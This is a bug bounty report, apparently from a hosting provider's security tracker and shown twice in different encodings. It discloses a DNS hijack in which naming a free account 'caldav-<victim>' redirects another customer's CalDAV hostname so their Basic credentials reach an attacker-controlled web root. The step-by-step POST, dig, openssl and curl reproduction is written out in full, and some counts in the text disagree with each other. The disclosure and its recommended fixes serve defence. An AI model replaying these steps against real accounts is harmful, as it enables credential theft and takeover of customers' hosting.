 3. Record the victim&amp;#039;s CalDAV record BEFORE the attack. 

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net A

&amp;gt; 185.31.41.92




   the shared Radicale CalDAV host 

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net AAAA

&amp;gt; 2a00:b6e0:1:90:8::1




 4. Create the colliding account. 

 One request, with no warning or confirmation:
 POST https://admin.alwaysdata.com/admin/account/add/
 Referer: https://admin.alwaysdata.com/admin/account/add/
 csrfmiddlewaretoken=&amp;lt;tok&amp;gt;&amp;amp;name=caldav-vk7victim&amp;amp;password=&amp;lt;pw&amp;gt;&amp;amp;product=2012&amp;amp;period=1mo
 &amp;amp;location=datacenter_3&amp;amp;contract_28=on&amp;amp;contract_36=on

&amp;gt; HTTP 302




   Location: /subscription/ 

 /subscription/ then lists:
 caldav-vk7victim | Free (1GB disk, 256M...)
 account 500765, subscription 520987
 with a default site 1078599 and subdomain object 1351172 for:
 caldav-vk7victim.alwaysdata.net


 5. The victim&amp;#039;s record has moved. 

 I queried the authoritative nameserver so this is not a local cache artefact.
 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net

&amp;gt; 185.31.41.11




   the shared web node serving the attacker&amp;#039;s new account 

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net

&amp;gt; 2a00:b6e0:1:20:23::1


 $ dig +short @1.1.1.1 caldav-vk7victim.alwaysdata.net A

&amp;gt; 185.31.41.11




 6. The edge supplies valid TLS for the stolen name, so the victim&amp;#039;s client sees no warning. 

 $ openssl s_client -connect caldav-vk7victim.alwaysdata.net:443 
 -servername caldav-vk7victim.alwaysdata.net

&amp;gt; subject=CN=*.alwaysdata.net

&amp;gt; issuer=C=US, O=Let&amp;#039;s Encrypt, CN=YE1

&amp;gt; X509v3 Subject Alternative Name:




   DNS:*.alwaysdata.net, DNS:alwaysdata.net


&amp;gt; notBefore=Sep 15 06:30:39 2026 GMT

&amp;gt; notAfter=Dec 14 06:30:38 2026 GMT




 7. The credential channel terminates in the attacker&amp;#039;s web root. 

 The genuine service at that hostname uses HTTP Basic, so the client transmits the credential on requests to the hostname.
 $ curl -D- https://caldav-vk7research.alwaysdata.net/

&amp;gt; HTTP/1.0 401

&amp;gt; www-authenticate: Basic realm=&amp;quot;Radicale - Password Required&amp;quot;

&amp;gt; server: WSGIServer/0.2 CPython/3.11.2


 A one-line index.php in the attacker account&amp;#039;s web root echoes the Authorization header.
 Simulating the client your own documentation tells account vk7victim to configure:
 $ curl -H &amp;quot;User-Agent: DAVx5/4.3.1 okhttp/4.12&amp;quot; 
 -u &amp;#039;vk7victim:&amp;lt;placeholder&amp;gt;&amp;#039; 
 https://caldav-vk7victim.alwaysdata.net/index.php

&amp;gt; HTTP/2 200

&amp;gt; via: 2.0 alproxy

&amp;gt; served by account: caldav-vk7victim on host http22

&amp;gt; Host header: caldav-vk7victim.alwaysdata.net

&amp;gt; Authorization header received: Basic dms3dmljdGltOi4uLg==


 The value in this request is a PLACEHOLDER, not the account&amp;#039;s real password.
 The important point is that the credential channel for the victim&amp;#039;s hostname terminates in an unrelated EUR 0 account&amp;#039;s web root, inside a TLS session that Alwaysdata itself certified.


 8. Additional defect found while remediating: releasing the name does not restore the DNS record. 

 POST /account/500765/rename/
 name=zztestl6dns

&amp;gt; HTTP 302


 $ dig +short @dns1.alwaysdata.com caldav-zztestl6dns.alwaysdata.net

&amp;gt; 185.31.41.92




   the new name provisioned correctly 

 $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net

&amp;gt; 185.31.41.11




   STILL pointing at the attacker&amp;#039;s node 

 Therefore, the hijack outlives the account name that caused it.
 A no-op rename did not restore it either.
 This is the same stale binding class you have already fixed and paid several times over (FS#139, FS#146, FS#167, FS#217, FS#221, FS#294).


 9. Controls that rule out alternative explanations. 

 a. The records are real per-account entries, not a wildcard.
 $ dig +short @dns1.alwaysdata.com zzznosuchaccount9912.alwaysdata.net

&amp;gt; no matching account record


 b. Sibling records are untouched throughout, so the reassignment is targeted rather than global:
 caldav-vk7research.alwaysdata.net   A -&amp;gt; 185.31.41.92
 carddav-vk7research.alwaysdata.net  A -&amp;gt; 185.31.41.92
 imap-vk7research.alwaysdata.net     A -&amp;gt; 185.31.40.62
 $ curl -o /dev/null -w &amp;#039;%{http_code} %{remote_ip}&amp;#039; 
 https://caldav-vk7research.alwaysdata.net/

&amp;gt; 302 185.31.41.92


 c. The prefix check is a pure prefix match, independent of whether the suffix names a real account:
 ssh-nosuchacct9912  -&amp;gt; blocked
 pop-nosuchacct9912  -&amp;gt; accepted
 d. The user-facing address field DOES enforce ownership, which demonstrates that the two paths disagree rather than there being no check at all.
 Submitting each of the following on a site I own returned HTTP 200 with a field error and persisted nothing:
 vk7victim.alwaysdata.net
 caldav-vk7victim.alwaysdata.net
 imap-vk7victim.alwaysdata.net
 ssh-vk7victim.alwaysdata.net
 The control that proves my request shape was correct:
 vk7research.alwaysdata.net/orchctl
 returned HTTP 302 in the identical request and was persisted and read back.


 Proof of Concept:



Steps 1 to 9 reproduce end to end from curl, dig and openssl with an ordinary free account.



The DNS value change in step 5 was confirmed twice from two independent resolvers, while the sibling records in step 9b remained unchanged during the same sweep.



WHAT THIS REPORT DOES NOT CLAIM, stated plainly:



* I did not point a real third party&amp;#039;s calendar client at the seized hostname. 

The Authorization header shown in step 7 carries a placeholder rather than any real password. I did not need a real secret to prove where the credential channel terminates, and I did not capture one.


 * I did not use a captured credential against FTP, MySQL or SSH. 

The reason the service password matters is your own help text at /admin/account/add/, which states that the password is used for default users. I did not need to exercise those services to establish the credential reuse risk.


 * The remaining step is standard DAV client behaviour rather than speculation. 

A client configured for caldav-&amp;lt;victim&amp;gt;.alwaysdata.net resolves that hostname, reaches the attacker-controlled host over valid TLS, and transmits Basic credentials because that is what the genuine endpoint requires.
Nothing about the victim&amp;#039;s configuration changes and nothing prompts them.
I did not execute this against a real victim, so you can weigh the demonstrated credential channel directly.


 * I did not claim imap- or pop- seizure as credential capture. See the scope note above.



* The one artefact I cannot repair myself is in step 8: 

caldav-vk7victim.alwaysdata.net
still resolves to:
185.31.41.11
as of this report.
Nothing of mine is served there. The record belongs to vk7victim, which is an account I own, so no customer of yours is affected.
Please restore it.


 Test window:



2026-09-20, approximately 05:30 to 08:30 UTC, from a single egress IP.



Requests were sequential and paced. Account creation was limited to the single extra account required for the test.



Impact:



With one free signup, an attacker can take over the CalDAV or CardDAV hostname of any named account, and account names are public information under your own rules.



The victim&amp;#039;s client can then send the account&amp;#039;s service password to the attacker over valid TLS, with no certificate warning and no user action beyond its normal scheduled sync.



Because that password is shared with FTP, MySQL and SSH according to your own account creation documentation, successful capture would potentially extend beyond the calendar or contacts service to the victim&amp;#039;s broader hosting account.



The affected account could therefore expose its website, databases, mail and files, depending on which services use the shared service password.



The victim also loses the calendar or contacts service itself because their hostname no longer points to the genuine service.



On the two exclusions in your rules that could be misread onto this finding:



First, the customer site exclusion does not apply. The alwaysdata.net hostnames are linked to customer accounts, and this is not a flaw in a customer&amp;#039;s site or anything a customer configured.



The provisioning code operates in a DNS zone controlled by Alwaysdata, and the record is reassigned from one customer to another by your own account creation path. No customer action is involved on either side.



Second, the fact that account names may be discoverable in many different ways does not change the finding.



I am not reporting account name disclosure. The account name is simply the input that selects which victim&amp;#039;s DNS record gets reassigned. If name disclosure were eliminated, the provisioning flaw would still exist and would still be reachable by anyone who knows one account name.



On duplication with &amp;#160;FS#348&amp;#160;:



That report, &amp;quot;Subdomain Squatting on alwaysdata.net Platform Namespace&amp;quot;, was closed Invalid and concerned claiming unused labels.



This finding takes an existing hostname that already resolves for a live customer and reassigns its DNS record.



Step 5 demonstrates the value changing from the genuine CalDAV host to the attacker&amp;#039;s web node, while four sibling records remain unchanged as controls in step 9b.



The defect is therefore in the provisioner&amp;#039;s collision handling, not in the availability of an unused name.



What this achieves that a customer&amp;#039;s own SSH shell cannot:



It allows a customer to rewrite a DNS record in a zone they do not own and redirect another customer&amp;#039;s service hostname to infrastructure controlled by the attacker.



CVSS v3.1:



9.9 Critical - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H



AV:N because every step is performed through network requests.



AC:L because the sequence is deterministic and the only required input is a name the attacker already knows.



PR:L because a free account is required.



UI:N because no victim interaction is required to perform the DNS reassignment. The victim&amp;#039;s client sends the credential on its own next scheduled sync, without prompting the victim.



S:C because the vulnerable component is the account provisioning system, while the impacted components are the shared DNS zone and another customer&amp;#039;s account.



C:H because the captured credential is the account&amp;#039;s service password.



I:H and A:H because the shared password is used across FTP, MySQL and SSH, and because the victim loses the CalDAV/CardDAV service itself.



If you prefer to treat the client&amp;#039;s next reconnection as user interaction, the score would be lower.



The demonstrated impact remains Critical under that interpretation, and I am content for you to settle the final scoring based on the facts above.



Recommendation:



1. Complete the prefix blocklist. 

 Add all omitted service prefixes, including:
 &amp;quot;imap-&amp;quot;
 &amp;quot;pop-&amp;quot;
 &amp;quot;pop3-&amp;quot;
 &amp;quot;caldav-&amp;quot;
 &amp;quot;carddav-&amp;quot;
 Better, derive the validation list from the same service-prefix list used by the provisioner so the two cannot drift apart again.


 2. Apply the ownership and collision check in the auto-provisioner, not only in the user-facing address form. 

 A default address that would collide with an existing record in the shared zone should be rejected using the same ownership check that control 9d shows you already implement on the other path.


 3. Reject any account name that would collide with an existing generated record in the zone rather than relying solely on a static prefix list.



4. Restore a released hostname to its rightful owner when a colliding account is renamed or deleted, as demonstrated in step 8.



5. Consider not sharing one password across web, FTP, SSH and MySQL. 

 Separating service credentials would ensure that capturing one service credential does not automatically provide access to the broader hosting account.
</description>
    <content:encoded><![CDATA[
<p>
<strong>VULNERABILITY INFORMATION:</strong>
</p>

<p>
<strong>Name of Vulnerability:</strong> An incomplete service-prefix blocklist on the account &quot;name&quot; field lets one customer claim the <acronym title="Domain Name Server">DNS</acronym> record of another customer&#039;s CalDAV or CardDAV service in the shared alwaysdata.net zone.
</p>

<p>
The user-facing site address field refuses such a hostname, but the auto-provisioner that creates an account&#039;s default address does not run that check. As a result, the <acronym title="Domain Name Server">DNS</acronym> record is silently reassigned and the victim&#039;s client can deliver its <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> Basic credential to the attacker over Alwaysdata&#039;s own wildcard certificate.
</p>

<p>
Vulnerability Category:<br />Access Control Issues / Broken authentication &amp; session management / Exposure of Sensitive Information, per the qualifying list on your bug bounty page.
</p>

<p>
<strong>Description:</strong>
</p>

<p>
An account&#039;s name is used to generate that account&#039;s per-service alwaysdata.net zone.
</p>

<p>
You already recognise the risk and maintain a blocklist of service prefixes for the name field, but it covers only 8 of the 10 prefixes your own interface documents.
</p>

<p>
&quot;imap-&quot; and &quot;carddav-&quot; are missing, along with the other omitted service prefixes, and the relevant services authenticate with a plaintext password on every connection.
</p>

<p>
Creating a free account called:
</p>

<p>
caldav-&lt;victim&gt;
</p>

<p>
therefore takes over:
</p>

<p>
caldav-&lt;victim&gt;.alwaysdata.net
</p>

<p>
which is the CalDAV endpoint your own panel tells customer &lt;victim&gt; to configure.
</p>

<p>
The <acronym title="Domain Name Server">DNS</acronym> record moves to the attacker&#039;s web node, and your wildcard certificate for the hostname remains valid. A request carrying an Authorization: Basic header for that hostname therefore lands in the attacker&#039;s own web root.
</p>

<p>
That password is the account&#039;s service password described at /admin/account/add/ as being used for default users such as <acronym title="File Transfer Protocol">FTP</acronym>, MySQL and <acronym title="Secure Shell">SSH</acronym>.
</p>

<p>
Two code paths disagree, and that disagreement is the defect.
</p>

<p>
The user-facing site address field correctly refuses a hostname the attacker does not own:
</p>

<p>
caldav-vk7victim.alwaysdata.net
</p>

<p>
is rejected with:
</p>

<p>
&quot;The domain name alwaysdata.net does not belong to you&quot;
</p>

<p>
and:
</p>

<p>
vk7victim.alwaysdata.net
</p>

<p>
is rejected with:
</p>

<p>
&quot;delegated to the vk7victim account&quot;.
</p>

<p>
The auto-provisioner&#039;s DEFAULT address on account creation does not run that check.
</p>

<p>
Only the path a customer cannot see is blind.
</p>

<p>
SCOPE NOTE, established by testing rather than assumed:
</p>

<p>
Of the four forgotten prefixes, only &quot;caldav-&quot; and &quot;carddav-&quot; are exploitable this way because those services run over the ports the attacker&#039;s web node serves.
</p>

<p>
I checked the other prefixes rather than claiming them:
</p>

<p>
```<br />185.31.41.11  the attacker&#039;s web node       443 OPEN    993 closed 110 closed<br />185.31.40.62  the real <acronym title="Internet Message Access Protocol">IMAP</acronym> and <acronym title="Post Office Protocol">POP</acronym> host    993 OPEN    995 OPEN    143 OPEN    443 closed<br />185.31.41.92  the real CalDAV host          443 OPEN    993 closed<br />```
</p>

<p>
Seizing imap-&lt;victim&gt; or pop-&lt;victim&gt; therefore points the victim&#039;s mail hostname at a host where the relevant mail ports are closed. That disrupts the victim&#039;s mail rather than capturing credentials.
</p>

<p>
Because mail service is outside the programme&#039;s scope, I make NO claim about those two prefixes beyond the blocklist gap itself.
</p>

<p>
Everything below is specific to caldav- and carddav-.
</p>

<p>
<strong>Vulnerable Instances:</strong>
</p>

<p>
POST <a href="https://admin.alwaysdata.com/admin/account/add/" class="urlextern" title="https://admin.alwaysdata.com/admin/account/add/"  rel="nofollow">https://admin.alwaysdata.com/admin/account/add/</a> field &quot;name&quot;
</p>

<p>
POST <a href="https://admin.alwaysdata.com/account/" class="urlextern" title="https://admin.alwaysdata.com/account/"  rel="nofollow">https://admin.alwaysdata.com/account/</a>&lt;id&gt;/rename/<br />field &quot;name&quot;
</p>

<p>
POST <a href="https://www.alwaysdata.com/en/register/" class="urlextern" title="https://www.alwaysdata.com/en/register/"  rel="nofollow">https://www.alwaysdata.com/en/register/</a> free self-service signup, no captcha
</p>

<p>
The <acronym title="Domain Name Server">DNS</acronym> auto-provisioner creates an account&#039;s default alwaysdata.net zone.
</p>

<p>
<strong>Steps to Reproduce:</strong>
</p>

<p>
Total cost: EUR 0, approximately four minutes.
</p>

<p>
Every account involved is one I own, and the &quot;victim&quot; record belongs to my own second account.
</p>

<p>
<strong>1. The blocklist gap.</strong> 
</p>
<pre class="code"> Each row below is a single POST to /admin/account/add/ showing the validator&#039;s verdict on the name field.</pre>
<pre class="code"> ssh-vk7victim         -&gt; &quot;This name contains an invalid prefix.&quot;
 ftp-vk7victim         -&gt; &quot;This name contains an invalid prefix.&quot;
 smtp-vk7victim        -&gt; &quot;This name contains an invalid prefix.&quot;
 webdav-vk7victim      -&gt; &quot;This name contains an invalid prefix.&quot;
 mysql-vk7victim       -&gt; &quot;This name contains an invalid prefix.&quot;
 postgresql-vk7victim  -&gt; &quot;This name contains an invalid prefix.&quot;
 rabbitmq-vk7victim    -&gt; &quot;This name contains an invalid prefix.&quot;
 services-vk7victim    -&gt; &quot;This name contains an invalid prefix.&quot;</pre>
<pre class="code"> imap-vk7victim        -&gt; ACCEPTED, no prefix error
 pop-vk7victim         -&gt; ACCEPTED, no prefix error
 caldav-vk7victim      -&gt; ACCEPTED, no prefix error
 carddav-vk7victim     -&gt; ACCEPTED, no prefix error</pre>
<pre class="code"> The charset validator is separate and works correctly. Invalid characters are rejected, while alphabetic, numeric and hyphen characters are accepted.</pre>
<pre class="code"> Uniqueness is case-insensitive, so VK7RESEARCH is refused.</pre>

<p>
 <strong>2. Obtain a second free account.</strong> 
</p>
<pre class="code"> /admin/account/add/ refuses a second free product for one user, so I used the public signup, which is free and has no captcha.</pre>
<pre class="code"> POST https://www.alwaysdata.com/en/register/</pre>
<pre class="code"> email=&lt;ours&gt;[+x@alwaysdata.net](mailto:+x@alwaysdata.net) &amp; password=... &amp; privacy_policy=on</pre>
<ol>
<li class="level1"><div class="li">&gt; <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 302</div>
</li>
</ol>

<p>
   Location: /login/?user_id=&lt;dec&gt;&amp;expiration=&lt;ts&gt;&amp;token=&lt;epoch&gt;-&lt;hmac&gt; 
</p>
<pre class="code"> Plus addressing on my own platform mailbox works, so the validation message can be received.</pre>
<pre class="code"> imap-&lt;ours&gt;.alwaysdata.net:993 with the service password.</pre>
<pre class="code"> I completed:</pre>
<pre class="code"> /user/validate/?user_id=&lt;b36&gt;&amp;token=...</pre>
<pre class="code"> and then POST /login/.</pre>

<p>
 <strong>3. Record the victim&#039;s CalDAV record BEFORE the attack.</strong> 
</p>
<pre class="code"> $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net A</pre>
<ol>
<li class="level1"><div class="li">&gt; 185.31.41.92</div>
</li>
</ol>

<p>
   the shared Radicale CalDAV host 
</p>
<pre class="code"> $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net AAAA</pre>
<ol>
<li class="level1"><div class="li">&gt; 2a00:b6e0:1:90:8::1</div>
</li>
</ol>

<p>
 <strong>4. Create the colliding account.</strong> 
</p>
<pre class="code"> One request, with no warning or confirmation:</pre>
<pre class="code"> POST https://admin.alwaysdata.com/admin/account/add/
 Referer: https://admin.alwaysdata.com/admin/account/add/</pre>
<pre class="code"> csrfmiddlewaretoken=&lt;tok&gt;&amp;name=caldav-vk7victim&amp;password=&lt;pw&gt;&amp;product=2012&amp;period=1mo
 &amp;location=datacenter_3&amp;contract_28=on&amp;contract_36=on</pre>
<ol>
<li class="level1"><div class="li">&gt; <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 302</div>
</li>
</ol>

<p>
   Location: /subscription/ 
</p>
<pre class="code"> /subscription/ then lists:</pre>
<pre class="code"> caldav-vk7victim | Free (1GB disk, 256M...)</pre>
<pre class="code"> account 500765, subscription 520987</pre>
<pre class="code"> with a default site 1078599 and subdomain object 1351172 for:</pre>
<pre class="code"> caldav-vk7victim.alwaysdata.net</pre>

<p>
 <strong>5. The victim&#039;s record has moved.</strong> 
</p>
<pre class="code"> I queried the authoritative nameserver so this is not a local cache artefact.</pre>
<pre class="code"> $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net</pre>
<ol>
<li class="level1"><div class="li">&gt; 185.31.41.11</div>
</li>
</ol>

<p>
   the shared web node serving the attacker&#039;s new account 
</p>
<pre class="code"> $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net</pre>
<ol>
<li class="level1"><div class="li">&gt; 2a00:b6e0:1:20:23::1</div>
</li>
</ol>
<pre class="code"> $ dig +short @1.1.1.1 caldav-vk7victim.alwaysdata.net A</pre>
<ol>
<li class="level1"><div class="li">&gt; 185.31.41.11</div>
</li>
</ol>

<p>
 <strong>6. The edge supplies valid <acronym title="Transport Layer Security">TLS</acronym> for the stolen name, so the victim&#039;s client sees no warning.</strong> 
</p>
<pre class="code"> $ openssl s_client -connect caldav-vk7victim.alwaysdata.net:443 
 -servername caldav-vk7victim.alwaysdata.net</pre>
<ol>
<li class="level1"><div class="li">&gt; subject=CN=*.alwaysdata.net</div>
</li>
<li class="level1"><div class="li">&gt; issuer=C=US, O=Let&#039;s Encrypt, CN=YE1</div>
</li>
<li class="level1"><div class="li">&gt; X509v3 Subject Alternative Name:</div>
</li>
</ol>

<p>
   <acronym title="Domain Name Server">DNS</acronym>:*.alwaysdata.net, <acronym title="Domain Name Server">DNS</acronym>:alwaysdata.net
</p>
<ol>
<li class="level1"><div class="li">&gt; notBefore=Sep 15 06:30:39 2026 GMT</div>
</li>
<li class="level1"><div class="li">&gt; notAfter=Dec 14 06:30:38 2026 GMT</div>
</li>
</ol>

<p>
 <strong>7. The credential channel terminates in the attacker&#039;s web root.</strong> 
</p>
<pre class="code"> The genuine service at that hostname uses HTTP Basic, so the client transmits the credential on requests to the hostname.</pre>
<pre class="code"> $ curl -D- https://caldav-vk7research.alwaysdata.net/</pre>
<ol>
<li class="level1"><div class="li">&gt; <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.0 401</div>
</li>
<li class="level1"><div class="li">&gt; www-authenticate: Basic realm=&quot;Radicale - Password Required&quot;</div>
</li>
<li class="level1"><div class="li">&gt; server: WSGIServer/0.2 CPython/3.11.2</div>
</li>
</ol>
<pre class="code"> A one-line index.php in the attacker account&#039;s web root echoes the Authorization header.</pre>
<pre class="code"> Simulating the client your own documentation tells account vk7victim to configure:</pre>
<pre class="code"> $ curl -H &quot;User-Agent: DAVx5/4.3.1 okhttp/4.12&quot; 
 -u &#039;vk7victim:&lt;placeholder&gt;&#039; 
 https://caldav-vk7victim.alwaysdata.net/index.php</pre>
<ol>
<li class="level1"><div class="li">&gt; <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/2 200</div>
</li>
<li class="level1"><div class="li">&gt; via: 2.0 alproxy</div>
</li>
<li class="level1"><div class="li">&gt; served by account: caldav-vk7victim on host http22</div>
</li>
<li class="level1"><div class="li">&gt; Host header: caldav-vk7victim.alwaysdata.net</div>
</li>
<li class="level1"><div class="li">&gt; Authorization header received: Basic dms3dmljdGltOi4uLg==</div>
</li>
</ol>
<pre class="code"> The value in this request is a PLACEHOLDER, not the account&#039;s real password.</pre>
<pre class="code"> The important point is that the credential channel for the victim&#039;s hostname terminates in an unrelated EUR 0 account&#039;s web root, inside a TLS session that Alwaysdata itself certified.</pre>

<p>
 <strong>8. Additional defect found while remediating: releasing the name does not restore the <acronym title="Domain Name Server">DNS</acronym> record.</strong> 
</p>
<pre class="code"> POST /account/500765/rename/
 name=zztestl6dns</pre>
<ol>
<li class="level1"><div class="li">&gt; <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 302</div>
</li>
</ol>
<pre class="code"> $ dig +short @dns1.alwaysdata.com caldav-zztestl6dns.alwaysdata.net</pre>
<ol>
<li class="level1"><div class="li">&gt; 185.31.41.92</div>
</li>
</ol>

<p>
   the new name provisioned correctly 
</p>
<pre class="code"> $ dig +short @dns1.alwaysdata.com caldav-vk7victim.alwaysdata.net</pre>
<ol>
<li class="level1"><div class="li">&gt; 185.31.41.11</div>
</li>
</ol>

<p>
   STILL pointing at the attacker&#039;s node 
</p>
<pre class="code"> Therefore, the hijack outlives the account name that caused it.</pre>
<pre class="code"> A no-op rename did not restore it either.</pre>
<pre class="code"> This is the same stale binding class you have already fixed and paid several times over (FS#139, FS#146, FS#167, FS#217, FS#221, FS#294).</pre>

<p>
 <strong>9. Controls that rule out alternative explanations.</strong> 
</p>
<pre class="code"> a. The records are real per-account entries, not a wildcard.</pre>
<pre class="code"> $ dig +short @dns1.alwaysdata.com zzznosuchaccount9912.alwaysdata.net</pre>
<ol>
<li class="level1"><div class="li">&gt; no matching account record</div>
</li>
</ol>
<pre class="code"> b. Sibling records are untouched throughout, so the reassignment is targeted rather than global:</pre>
<pre class="code"> caldav-vk7research.alwaysdata.net   A -&gt; 185.31.41.92
 carddav-vk7research.alwaysdata.net  A -&gt; 185.31.41.92
 imap-vk7research.alwaysdata.net     A -&gt; 185.31.40.62</pre>
<pre class="code"> $ curl -o /dev/null -w &#039;%{http_code} %{remote_ip}&#039; 
 https://caldav-vk7research.alwaysdata.net/</pre>
<ol>
<li class="level1"><div class="li">&gt; 302 185.31.41.92</div>
</li>
</ol>
<pre class="code"> c. The prefix check is a pure prefix match, independent of whether the suffix names a real account:</pre>
<pre class="code"> ssh-nosuchacct9912  -&gt; blocked
 pop-nosuchacct9912  -&gt; accepted</pre>
<pre class="code"> d. The user-facing address field DOES enforce ownership, which demonstrates that the two paths disagree rather than there being no check at all.</pre>
<pre class="code"> Submitting each of the following on a site I own returned HTTP 200 with a field error and persisted nothing:</pre>
<pre class="code"> vk7victim.alwaysdata.net
 caldav-vk7victim.alwaysdata.net
 imap-vk7victim.alwaysdata.net
 ssh-vk7victim.alwaysdata.net</pre>
<pre class="code"> The control that proves my request shape was correct:</pre>
<pre class="code"> vk7research.alwaysdata.net/orchctl</pre>
<pre class="code"> returned HTTP 302 in the identical request and was persisted and read back.</pre>

<p>
 <strong>Proof of Concept:</strong>
</p>

<p>
Steps 1 to 9 reproduce end to end from curl, dig and openssl with an ordinary free account.
</p>

<p>
The <acronym title="Domain Name Server">DNS</acronym> value change in step 5 was confirmed twice from two independent resolvers, while the sibling records in step 9b remained unchanged during the same sweep.
</p>

<p>
<strong>WHAT THIS REPORT DOES NOT CLAIM, stated plainly:</strong>
</p>

<p>
* I did not point a real third party&#039;s calendar client at the seized hostname. 
</p>
<pre class="code">The Authorization header shown in step 7 carries a placeholder rather than any real password. I did not need a real secret to prove where the credential channel terminates, and I did not capture one.</pre>

<p>
 * I did not use a captured credential against <acronym title="File Transfer Protocol">FTP</acronym>, MySQL or <acronym title="Secure Shell">SSH</acronym>. 
</p>
<pre class="code">The reason the service password matters is your own help text at /admin/account/add/, which states that the password is used for default users. I did not need to exercise those services to establish the credential reuse risk.</pre>

<p>
 * The remaining step is standard DAV client behaviour rather than speculation. 
</p>
<pre class="code">A client configured for caldav-&lt;victim&gt;.alwaysdata.net resolves that hostname, reaches the attacker-controlled host over valid TLS, and transmits Basic credentials because that is what the genuine endpoint requires.</pre>
<pre class="code">Nothing about the victim&#039;s configuration changes and nothing prompts them.</pre>
<pre class="code">I did not execute this against a real victim, so you can weigh the demonstrated credential channel directly.</pre>

<p>
 * I did not claim imap- or pop- seizure as credential capture. See the scope note above.
</p>

<p>
* The one artefact I cannot repair myself is in step 8: 
</p>
<pre class="code">caldav-vk7victim.alwaysdata.net</pre>
<pre class="code">still resolves to:</pre>
<pre class="code">185.31.41.11</pre>
<pre class="code">as of this report.</pre>
<pre class="code">Nothing of mine is served there. The record belongs to vk7victim, which is an account I own, so no customer of yours is affected.</pre>
<pre class="code">Please restore it.</pre>

<p>
 <strong>Test window:</strong>
</p>

<p>
2026-09-20, approximately 05:30 to 08:30 UTC, from a single egress IP.
</p>

<p>
Requests were sequential and paced. Account creation was limited to the single extra account required for the test.
</p>

<p>
<strong>Impact:</strong>
</p>

<p>
With one free signup, an attacker can take over the CalDAV or CardDAV hostname of any named account, and account names are public information under your own rules.
</p>

<p>
The victim&#039;s client can then send the account&#039;s service password to the attacker over valid <acronym title="Transport Layer Security">TLS</acronym>, with no certificate warning and no user action beyond its normal scheduled sync.
</p>

<p>
Because that password is shared with <acronym title="File Transfer Protocol">FTP</acronym>, MySQL and <acronym title="Secure Shell">SSH</acronym> according to your own account creation documentation, successful capture would potentially extend beyond the calendar or contacts service to the victim&#039;s broader hosting account.
</p>

<p>
The affected account could therefore expose its website, databases, mail and files, depending on which services use the shared service password.
</p>

<p>
The victim also loses the calendar or contacts service itself because their hostname no longer points to the genuine service.
</p>

<p>
On the two exclusions in your rules that could be misread onto this finding:
</p>

<p>
First, the customer site exclusion does not apply. The alwaysdata.net hostnames are linked to customer accounts, and this is not a flaw in a customer&#039;s site or anything a customer configured.
</p>

<p>
The provisioning code operates in a <acronym title="Domain Name Server">DNS</acronym> zone controlled by Alwaysdata, and the record is reassigned from one customer to another by your own account creation path. No customer action is involved on either side.
</p>

<p>
Second, the fact that account names may be discoverable in many different ways does not change the finding.
</p>

<p>
I am not reporting account name disclosure. The account name is simply the input that selects which victim&#039;s <acronym title="Domain Name Server">DNS</acronym> record gets reassigned. If name disclosure were eliminated, the provisioning flaw would still exist and would still be reachable by anyone who knows one account name.
</p>

<p>
<strong>On duplication with <del>&#160;<a href="https://security.alwaysdata.com/task/348?feed_type=rss1&amp;topic=edit" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#348</a>&#160;</del>:</strong>
</p>

<p>
That report, &quot;Subdomain Squatting on alwaysdata.net Platform Namespace&quot;, was closed Invalid and concerned claiming unused labels.
</p>

<p>
This finding takes an existing hostname that already resolves for a live customer and reassigns its <acronym title="Domain Name Server">DNS</acronym> record.
</p>

<p>
Step 5 demonstrates the value changing from the genuine CalDAV host to the attacker&#039;s web node, while four sibling records remain unchanged as controls in step 9b.
</p>

<p>
The defect is therefore in the provisioner&#039;s collision handling, not in the availability of an unused name.
</p>

<p>
<strong>What this achieves that a customer&#039;s own <acronym title="Secure Shell">SSH</acronym> shell cannot:</strong>
</p>

<p>
It allows a customer to rewrite a <acronym title="Domain Name Server">DNS</acronym> record in a zone they do not own and redirect another customer&#039;s service hostname to infrastructure controlled by the attacker.
</p>

<p>
<strong>CVSS v3.1:</strong>
</p>

<p>
9.9 Critical - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
</p>

<p>
AV:N because every step is performed through network requests.
</p>

<p>
AC:L because the sequence is deterministic and the only required input is a name the attacker already knows.
</p>

<p>
PR:L because a free account is required.
</p>

<p>
UI:N because no victim interaction is required to perform the <acronym title="Domain Name Server">DNS</acronym> reassignment. The victim&#039;s client sends the credential on its own next scheduled sync, without prompting the victim.
</p>

<p>
S:C because the vulnerable component is the account provisioning system, while the impacted components are the shared <acronym title="Domain Name Server">DNS</acronym> zone and another customer&#039;s account.
</p>

<p>
C:H because the captured credential is the account&#039;s service password.
</p>

<p>
I:H and A:H because the shared password is used across <acronym title="File Transfer Protocol">FTP</acronym>, MySQL and <acronym title="Secure Shell">SSH</acronym>, and because the victim loses the CalDAV/CardDAV service itself.
</p>

<p>
If you prefer to treat the client&#039;s next reconnection as user interaction, the score would be lower.
</p>

<p>
The demonstrated impact remains Critical under that interpretation, and I am content for you to settle the final scoring based on the facts above.
</p>

<p>
<strong>Recommendation:</strong>
</p>

<p>
1. Complete the prefix blocklist. 
</p>
<pre class="code"> Add all omitted service prefixes, including:</pre>
<pre class="code"> &quot;imap-&quot;
 &quot;pop-&quot;
 &quot;pop3-&quot;
 &quot;caldav-&quot;
 &quot;carddav-&quot;</pre>
<pre class="code"> Better, derive the validation list from the same service-prefix list used by the provisioner so the two cannot drift apart again.</pre>

<p>
 2. Apply the ownership and collision check in the auto-provisioner, not only in the user-facing address form. 
</p>
